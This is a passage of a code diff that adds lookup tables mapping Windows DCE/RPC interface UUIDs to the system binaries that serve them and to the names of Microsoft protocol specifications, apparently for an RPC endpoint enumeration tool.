+b"\x1c\x95\x57\x33\xd1\xa1\xdb\x47\xa2\x78\xab\x94\x5d\x06\x3d\x03\x01\x00": "LBService.dll",
+b"\xab\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll",
+b"\xc4\xfc\x7b\x82\xb4\x38\xcd\x4a\x92\xe4\x21\xe1\x50\x6b\x85\xfb\x01\x00": "SLsvc.exe",
+b"\x00\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00": "mprdim.dll",
+b"\x4b\xa0\x12\x72\x63\xb4\x2e\x40\x96\x49\x2b\xa4\x77\x39\x46\x76\x01\x00": "umrdp.dll",
+b"\x20\x65\x5f\x2f\x46\xca\x67\x10\xb3\x19\x00\xdd\x01\x06\x62\xda\x01\x00": "tapisrv.dll",
+b"\xa0\x9e\xc0\x69\x09\x4a\x1b\x10\xae\x4b\x08\x00\x2b\x34\x9a\x02\x00\x00": "ole32.dll",
+b"\xd0\x3f\x14\x88\x8d\xc2\x2b\x4b\x8f\xef\x8d\x88\x2f\x6a\x93\x90\x01\x00": "lsm.exe",
+b"\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00": "rpcss.dll",
+b"\x6c\xfc\x79\xde\x6f\xdc\xc7\x43\xa4\x8e\x63\xbb\xc8\xd4\x00\x9d\x01\x00": "rdpclip.exe",
+b"\x41\x82\xb5\x68\x59\xc2\x03\x4f\xa2\xe5\xa2\x65\x1d\xcb\xc9\x30\x01\x00": "cryptsvc.dll",
+b"\x80\xa9\x88\x10\xe5\xea\xd0\x11\x8d\x9b\x00\xa0\x24\x53\xc3\x37\x01\x00": "mqqm.dll",
+b"\xcf\x0b\xa7\x7e\xaf\x48\x6a\x4f\x89\x68\x6a\x44\x07\x54\xd5\xfa\x01\x00": "nsisvc.dll",
+b"\xe0\xca\x02\xec\xe0\xb9\xd2\x11\xbe\x62\x00\x20\xaf\xed\xdf\x63\x01\x00": "mq1repl.dll",
+b"\xb3\x8b\x0b\x59\xf6\x4e\xa4\x4c\x83\xcf\xbe\x06\xc4\x07\x86\x74\x01\x00": "PSIService.exe",
+b"\xce\x9f\x75\x89\x25\x5a\x86\x40\x89\x67\xde\x12\xf3\x9a\x60\xb5\x01\x00": "tssdjet.dll",
+b"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x00": "wlansvc.dll",
+b"\xc5\x41\x19\xdf\x89\xfe\x79\x4e\xbf\x10\x46\x36\x57\xac\xf4\x4d\x01\x00": "efssvc.dll",
+b"\xc1\xcd\x1a\x8f\x4d\x75\xeb\x43\x96\x29\xaa\x16\x20\x92\x8e\x65\x00\x00": "IMEPADSM.DLL",
+b"\xdf\x76\x49\x65\x98\x14\x56\x40\xa1\x5e\xcb\x4e\x87\x58\x4b\xd8\x01\x00": "emdmgmt.dll",
+b"\xe0\x42\xc7\x4f\x10\x4a\xcf\x11\x82\x73\x00\xaa\x00\x4a\xe6\x73\x03\x00": "dfssvc.exe",
+b"\xfa\xdb\x6e\x0b\x24\x4a\xc6\x4f\x8a\x23\x94\x2b\x1e\xca\x65\xd1\x01\x00": "spoolsv.exe",
+b"\xc8\xb7\xd4\x12\xd5\x77\xd1\x11\x8c\x24\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll",
+b"\x44\xaf\x7d\x8c\xdc\xb6\xd1\x11\x9a\x4c\x00\x20\xaf\x6e\x7c\x57\x01\x00": "appmgmts.dll",
+b"\xae\x99\x86\x9b\x44\x0e\xb1\x47\x8e\x7f\x86\xa4\x61\xd7\xec\xdc\x00\x00": "rpcss.dll",
+b"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x01": "rpcss.dll",
+b"\xa2\x9c\x14\x93\x3b\x97\xd1\x11\x8c\x39\x00\xc0\x4f\xb9\x84\xf9\x00\x00": "scecli.dll",
+b"\x7d\x25\x13\xfc\x67\x55\xea\x4d\x89\x8d\xc6\xf9\xc4\x84\x15\xa0\x01\x00": "mqqm.dll",
+b"\x82\x26\xb9\x2f\x99\x65\xdc\x42\xae\x13\xbd\x2c\xa8\x9b\xd1\x1c\x01\x00": "MPSSVC.dll",
+b"\x76\x22\x3a\x33\x00\x00\x00\x00\x0d\x00\x00\x80\x9c\x00\x00\x00\x03\x00": "rpcrt4.dll",
+b"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc4\x01\x00": "locator.exe",
+b"\xdd\x34\x91\x1a\x39\x7b\xba\x45\xad\x88\x44\xd0\x1c\xa4\x7f\x28\x01\x00": "mqqm.dll",
+b"\xfe\x95\x31\x9b\x03\xd6\xd1\x43\xa0\xd5\x90\x72\xd7\xcd\xe1\x22\x01\x00": "tssdjet.dll",
+b"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x98\x01\x00": "iphlpsvc.dll",
+b"\x5f\x2e\x7e\x89\xf3\x93\x76\x43\x9c\x9c\xfd\x22\x77\x49\x5c\x27\x01\x00": "dfsrmig.exe",
+b"\x90\x2c\xfe\x98\x42\xa5\xd0\x11\xa4\xef\x00\xa0\xc9\x06\x29\x10\x01\x00": "advapi32.dll",
+b"\x0c\xc5\xad\x30\xbc\x5c\xce\x46\x9a\x0e\x91\x91\x47\x89\xe2\x3c\x01\x00": "nrpsrv.dll",
+b"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x02": "rpcss.dll",
+b"\xe6\x53\x3a\x9f\xb1\xcb\x54\x4e\x87\x8e\xaf\x9f\x82\x3a\xa3\xf1\x01\x00": "MpRtMon.dll",
+b"\xa8\xe5\xfc\x1d\x8a\xdd\x33\x4e\xaa\xce\xf6\x03\x92\x2f\xd9\xe7\x00\x01": "wpcsvc.dll",
+b"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe",
+b"\x46\xd7\xd0\xe3\xaf\xd2\xfd\x40\x8a\x7a\x0d\x70\x78\xbb\x70\x92\x01\x00": "qmgr.dll",
+b"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x01": "SCardSvr.dll",
+b"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x00": "SCardSvr.dll",
+b"\x69\x45\x81\x7d\xb3\x35\x50\x48\xbb\x32\x83\x03\x5f\xce\xbf\x6e\x01\x00": "ias.dll",
+b"\x41\xea\x25\x48\xe3\x51\x2a\x4c\x84\x06\x8f\x2d\x26\x98\x39\x5f\x01\x00": "userenv.dll",
+b"\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00": "rpcss.dll",
+b"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd5\x01\x00": "dhcpcsvc.dll",
+b"\xe0\x8e\x20\x41\x70\xe9\xd1\x11\x9b\x9e\x00\xe0\x2c\x06\x4c\x39\x01\x00": "mqqm.dll",
+b"\xbf\x7b\x40\xcb\x4f\xc1\xd9\x4c\x8f\x55\xcb\xb0\x81\x46\x59\x8c\x00\x00": "IMJPDCT.EXE",
+b"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb\x01\x00": "netlogon.dll",
+b"\x30\x4c\xda\x83\x3a\xea\xcf\x11\x9c\xc1\x08\x00\x36\x01\xe5\x06\x01\x00": "nfsclnt.exe",
+b"\x1f\xa7\x37\x21\x5e\xbb\x29\x4e\x8e\x7e\x2e\x46\xa6\x68\x1d\xbf\x09\x00": "wspsrv.exe - Microsoft ISA Server",
+b"\x1e\x67\xe9\xc0\xc6\x33\x38\x44\x94\x64\x56\xb2\xe1\xb1\xc7\xb4\x01\x00": "wbiosrvc.dll",
+b"\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00": "rpcrt4.dll",
+b"\x8b\x3c\xf1\x6a\x44\x08\x83\x4c\x90\x64\x18\x92\xba\x82\x55\x27\x01\x00": "tssdis.exe",
+b"\x55\x51\xd8\xec\x3a\xcc\x10\x4f\xaa\xd5\x9a\x9a\x2b\xf2\xef\x0c\x01\x00": "termsrv.dll",
+b"\xe8\x98\x8b\xbb\xdd\x84\xe7\x45\x9f\x34\xc3\xfb\x61\x55\xee\xed\x01\x00": "vaultsvc.dll",
+b"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x00": "ntfrs.exe",
+b"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x01": "wlansvc.dll",
+b"\x7f\x0b\xfe\x64\xf5\x9e\x53\x45\xa7\xdb\x9a\x19\x75\x77\x75\x54\x01\x00": "rpcss.dll",
+b"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x02\x00": "ismserv.exe",
+b"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xae\x01\x00": "winlogon.exe",
+b"\x23\x05\x7a\xfd\x70\xdc\xdd\x43\x9b\x2e\x9c\x5e\xd4\x82\x25\xb1\x01\x00": "appinfo.dll",
+b"\x40\xfd\x2c\x34\x6c\x3c\xce\x11\xa8\x93\x08\x00\x2b\x2e\x9c\x6d\x00\x00": "llssrv.exe",
+b"\x84\xd8\xb6\x8f\x88\x23\xd0\x11\x8c\x35\x00\xc0\x4f\xda\x27\x95\x04\x01": "w32time.dll",
+b"\x9b\x06\x33\xae\xa8\xa2\xee\x46\xa2\x35\xdd\xfd\x33\x9b\xe2\x81\x01\x00": "spoolsv.exe",
+b"\x26\xb5\x55\x1d\x37\xc1\xc5\x46\xab\x79\x63\x8f\x2a\x68\xe8\x69\x01\x00": "rpcss.dll",
+b"\xa0\xaa\x17\x6e\x47\x1a\xd1\x11\x98\xbd\x00\x00\xf8\x75\x29\x2e\x02\x00": "clussvc.exe",
+b"\xdf\x5f\xe9\xbd\xe0\xee\xde\x45\x9e\x12\xe5\xa6\x1c\xd0\xd4\xfe\x01\x00": "termsrv.dll",
+b"\xac\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll",
+b"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x01\x00": "spoolsv.exe",
+b"\x06\x50\x7b\x8a\x13\xcc\xdb\x11\x97\x05\x00\x50\x56\xc0\x00\x08\x01\x00": "appidsvc.dll",
+b"\x20\x60\xae\x91\x3c\x9e\xcf\x11\x8d\x7c\x00\xaa\x00\xc0\x91\xbe\x00\x00": "certsrv.exe",
+b"\x16\xbb\x74\x81\x1b\x57\x38\x4c\x83\x86\x11\x02\xb4\x49\x04\x4a\x01\x00": "p2psvc.dll",
+b"\x36\x00\x61\x20\x22\xfa\xcf\x11\x98\x23\x00\xa0\xc9\x11\xe5\xdf\x01\x00": "rasmans.dll",
+b"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll",
+b"\x1c\xef\x74\x0a\xa4\x41\x06\x4e\x83\xae\xdc\x74\xfb\x1c\xdd\x53\x01\x00": "schedsvc.dll",
+b"\x25\x04\x49\xdd\x25\x53\x65\x45\xb7\x74\x7e\x27\xd6\xc0\x9c\x24\x01\x00": "BFE.DLL",
+b"\x7c\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x15\x00": "ntdsa.dll",
+b"\xa0\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll",
+b"\x49\x59\xd3\x86\xc9\x83\x44\x40\xb4\x24\xdb\x36\x32\x31\xfd\x0c\x01\x00": "schedsvc.dll",
+b"\x35\x08\x22\x11\x26\x5b\x94\x4d\xae\x86\xc3\xe4\x75\xa8\x09\xde\x01\x00": "lsasrv.dll",
+b"\xa8\x66\x00\xc8\x79\x75\xfc\x44\xb9\xb2\x84\x66\x93\x07\x91\xb0\x01\x00": "umrdp.dll",
+b"\xab\x59\xec\xf1\xa9\x4c\x30\x4c\xb2\xd0\x54\xef\x1d\xb4\x41\xb7\x01\x00": "iertutil.dll",
+b"\xba\xaa\x67\x52\x49\x4f\x53\x46\x8e\x26\xd1\xe1\x1f\x3f\x2a\xd9\x01\x00": "termsrv.dll",
+b"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x00": "rpcss.dll",
+b"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x02": "rpcss.dll",
+b"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x02": "audiosrv.dll",
+b"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x01": "audiosrv.dll",
+b"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x02": "netdde.exe",
+b"\xbf\x11\x9d\x7f\xb9\x7f\x6b\x43\xa8\x12\xb2\xd5\x0c\x5d\x4c\x03\x01\x00": "MPSSVC.dll",
+b"\xbf\x52\x5a\xb2\xdd\xe5\x4a\x4f\xae\xa6\x8c\xa7\x27\x2a\x0e\x86\x01\x00": "keyiso.dll",
+b"\x04\x22\x11\x4b\x19\x0e\xd3\x11\xb4\x2b\x00\x00\xf8\x1f\xeb\x9f\x01\x00": "ssdpsrv.dll",
+b"\x97\xb2\xee\x04\xf4\xcb\x6b\x46\x8a\x2a\xbf\xd6\xa2\xf1\x0b\xba\x01\x00": "efssvc.dll",
+b"\x40\xb2\x9b\x20\x19\xb9\xd1\x11\xbb\xb6\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irmon.dll",
+b"\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09\x01\x00": "spoolsv.exe",
+b"\x4a\xa5\xbb\x06\x05\xbe\xf9\x49\xb0\xa0\x30\xf7\x90\x26\x10\x23\x01\x00": "wscsvc.dll",
+b"\xa6\xb2\xdd\x1b\xc3\xc0\xbe\x41\x87\x03\xdd\xbd\xf4\xf0\xe8\x0a\x01\x00": "dot3svc.dll",
+b"\x82\x15\x41\xaa\xdf\x9b\xfb\x48\xb4\x2b\xfa\xa1\xee\xe3\x39\x49\x01\x00": "nlasvc.dll",
+b"\xfa\x9d\xd7\xd2\x00\x34\xd0\x11\xb4\x0b\x00\xaa\x00\x5f\xf5\x86\x01\x00": "dmadmin.exe",
+b"\x12\xfc\x99\x60\xff\x3e\xd0\x11\xab\xd0\x00\xc0\x4f\xd9\x1a\x4e\x03\x00": "FXSAPI.dll",
+b"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x00": "rpcss.dll",
+b"\xd5\x33\x9a\x2c\xdb\xf1\x2d\x47\x84\x64\x42\xb8\xb0\xc7\x6c\x38\x01\x00": "tbssvc.dll",
+b"\x30\x7c\xde\x3d\x5d\x16\xd1\x11\xab\x8f\x00\x80\x5f\x14\xdb\x40\x01\x00": "services.exe",
+b"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x01": "ntfrs.exe",
+b"\x94\x8c\x95\x95\x24\xa4\x55\x40\xb6\x2b\xb7\xf4\xd5\xc4\x77\x70\x01\x00": "winlogon.exe",
+b"\xe3\x31\x67\x32\xc0\xc1\x69\x4a\xae\x20\x7d\x90\x44\xa4\xea\x5c\x01\x00": "profsvc.dll",
+b"\x18\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x38\x00": "ntdsai.dll",
+b"\x0f\x6a\xe9\x4b\x52\x9f\x29\x47\xa5\x1d\xc7\x06\x10\xf1\x18\xb0\x01\x00": "wbiosrvc.dll",
+b"\x80\x42\xad\x82\x6b\x03\xcf\x11\x97\x2c\x00\xaa\x00\x68\x87\xb0\x02\x00": "infocomm.dll",
+b"\x87\x04\x26\x1f\x29\xba\x13\x4f\x92\x8a\xbb\xd2\x97\x61\xb0\x83\x01\x00": "termsrv.dll",
+b"\x70\x07\xf7\x18\x64\x8e\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x00\x00": "ole32.dll",
+b"\xc0\xeb\x4f\xfa\x91\x45\xce\x11\x95\xe5\x00\xaa\x00\x51\xe5\x10\x04\x00": "autmgr32.exe",
+b"\x10\xca\x8c\x70\x69\x95\xd1\x11\xb2\xa5\x00\x60\x97\x7d\x81\x18\x01\x00": "mqdssrv.dll",
+b"\x28\x2c\xf5\x45\x9f\x7f\x1a\x10\xb5\x2b\x08\x00\x2b\x2e\xfa\xbe\x01\x00": "WINS.EXE",
+b"\x31\xa3\x59\x2f\x7d\xbf\xcb\x48\x9e\x5c\x7c\x09\x0d\x76\xe8\xb8\x01\x00": "termsrv.dll",
+b"\x61\x26\x45\x4a\x90\x82\x36\x4b\x8f\xbe\x7f\x40\x93\xa9\x49\x78\x01\x00": "spoolsv.exe",
+}
+
+KNOWN_PROTOCOLS = {
+'52C80B95-C1AD-4240-8D89-72E9FA84025E':'[MC-CCFG]: Server Cluster:',
+'FA7660F6-7B3F-4237-A8BF-ED0AD0DCBBD9':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'450386DB-7409-4667-935E-384DBBEE2A9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'832A32F7-B3EA-4B8C-B260-9A2923001184':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'2D9915FB-9D42-4328-B782-1B46819FAB9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'0DD8A158-EBE6-4008-A1D9-B7ECC8F1104B':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'0716CAF8-7D05-4A46-8099-77594BE91394':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'B80F3C42-60E0-4AE0-9007-F52852D3DBED':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'0344CDDA-151E-4CBF-82DA-66AE61E97754':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'8BED2C68-A5FB-4B28-8581-A0DC5267419F':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'7883CA1C-1112-4447-84C3-52FBEB38069D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'09829352-87C2-418D-8D79-4133969A489D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'5B5A68E6-8B9F-45E1-8199-A95FFCCDFFFF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'9BE77978-73ED-4A9A-87FD-13F09FEC1B13':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'ED35F7A1-5024-4E7B-A44D-07DDAF4B524D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'4DFA1DF3-8900-4BC7-BBB5-D1A458C52410':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'370AF178-7758-4DAD-8146-7391F6E18585':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'C8550BFF-5281-4B1E-AC34-99B6FA38464D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'08A90F5F-0702-48D6-B45F-02A9885A9768':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'8F6D760F-F0CB-4D69-B5F6-848B33E9BDC6':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'E7927575-5CC3-403B-822E-328A6B904BEE':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'DE095DB1-5368-4D11-81F6-EFEF619B7BCF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'64FF8CCC-B287-4DAE-B08A-A72CBF45F453':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'EAFE4895-A929-41EA-B14D-613E23F62B71':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'EF13D885-642C-4709-99EC-B89561C6BC69':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'0191775E-BCFF-445A-B4F4-3BDDA54E2816':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'31A83EA0-C0E4-4A2C-8A01-353CC2A4C60A':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'D6C7CD8F-BB8D-4F96-B591-D3A5F1320269':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'ADA4E6FB-E025-401E-A5D0-C3134A281F07':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'B7D381EE-8860-47A1-8AF4-1F33B2B1F325':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'C5C04795-321C-4014-8FD6-D44658799393':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
+'EBA96B22-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'12A30900-7300-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B24-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'2CE0C5B0-6E67-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B0E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'B196B285-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',
+'39CE96FE-F4C5-4484-A143-4C2D5D324229':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E07F-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B1A-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B18-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B23-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B14-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'FD174A80-89CF-11D2-B0F2-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'F72B9031-2F0C-43E8-924E-E6052CDC493F':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E072-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E075-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'0188401C-247A-4FED-99C6-BF14119D7055':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B15-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E07C-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'BE5F0241-E489-4957-8CC4-A452FCF3E23E':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B1C-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E077-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E078-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'B196B284-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E073-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E07D-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B1B-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E079-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E084-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B1F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'33B6D07E-F27D-42FA-B2D7-BF82E11E9374':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E07A-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'0188AC2F-ECB3-4173-9779-635CA2039C72':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E085-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EF0574E0-06D8-11D3-B100-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E086-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'B196B286-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D9933BE0-A567-11D2-B0F3-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7AB3341-C9D3-11D1-BB47-0080C7C5A2C0':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E082-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'0FB15084-AF41-11CE-BD2B-204C4F4F5020':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E083-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B13-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B1D-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B17-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B20-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E074-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'7FBE7759-5760-444D-B8A5-5E7AB9A84CCE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'B196B287-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B12-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B1E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E07E-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E081-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E07B-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'64C478FB-F9B0-4695-8A7F-439AC94326D3':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B16-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B19-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B10-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B21-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E076-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B0F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'EBA96B11-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
+'D7D6E080-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
+'4639DB2A-BFC5-11D2-9318-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol',
+'0EAC4842-8763-11CF-A743-00AA00A3F00D':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol',
+'070669EB-B52F-11D1-9270-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol',
+'3DDE7C30-165D-11D1-AB8F-00805F14DB40':'[MS-BKRP]: BackupKey Remote Protocol',
+'E3D0D746-D2AF-40FD-8A7A-0D7078BB7092':'[MS-BPAU]: Background Intelligent Transfer Service (BITS) Peer-',
+'6BFFD098-A112-3610-9833-012892020162':'[MS-BRWSA]: Common Internet File System (CIFS) Browser Auxiliary',
+'AFC07E2E-311C-4435-808C-C483FFEEC7C9':'[MS-CAPR]: Central Access Policy Identifier (ID) Retrieval Protocol',
+'B97DB8B2-4C63-11CF-BFF6-08002BE23F2F':'[MS-CMRP]: Failover Cluster:',
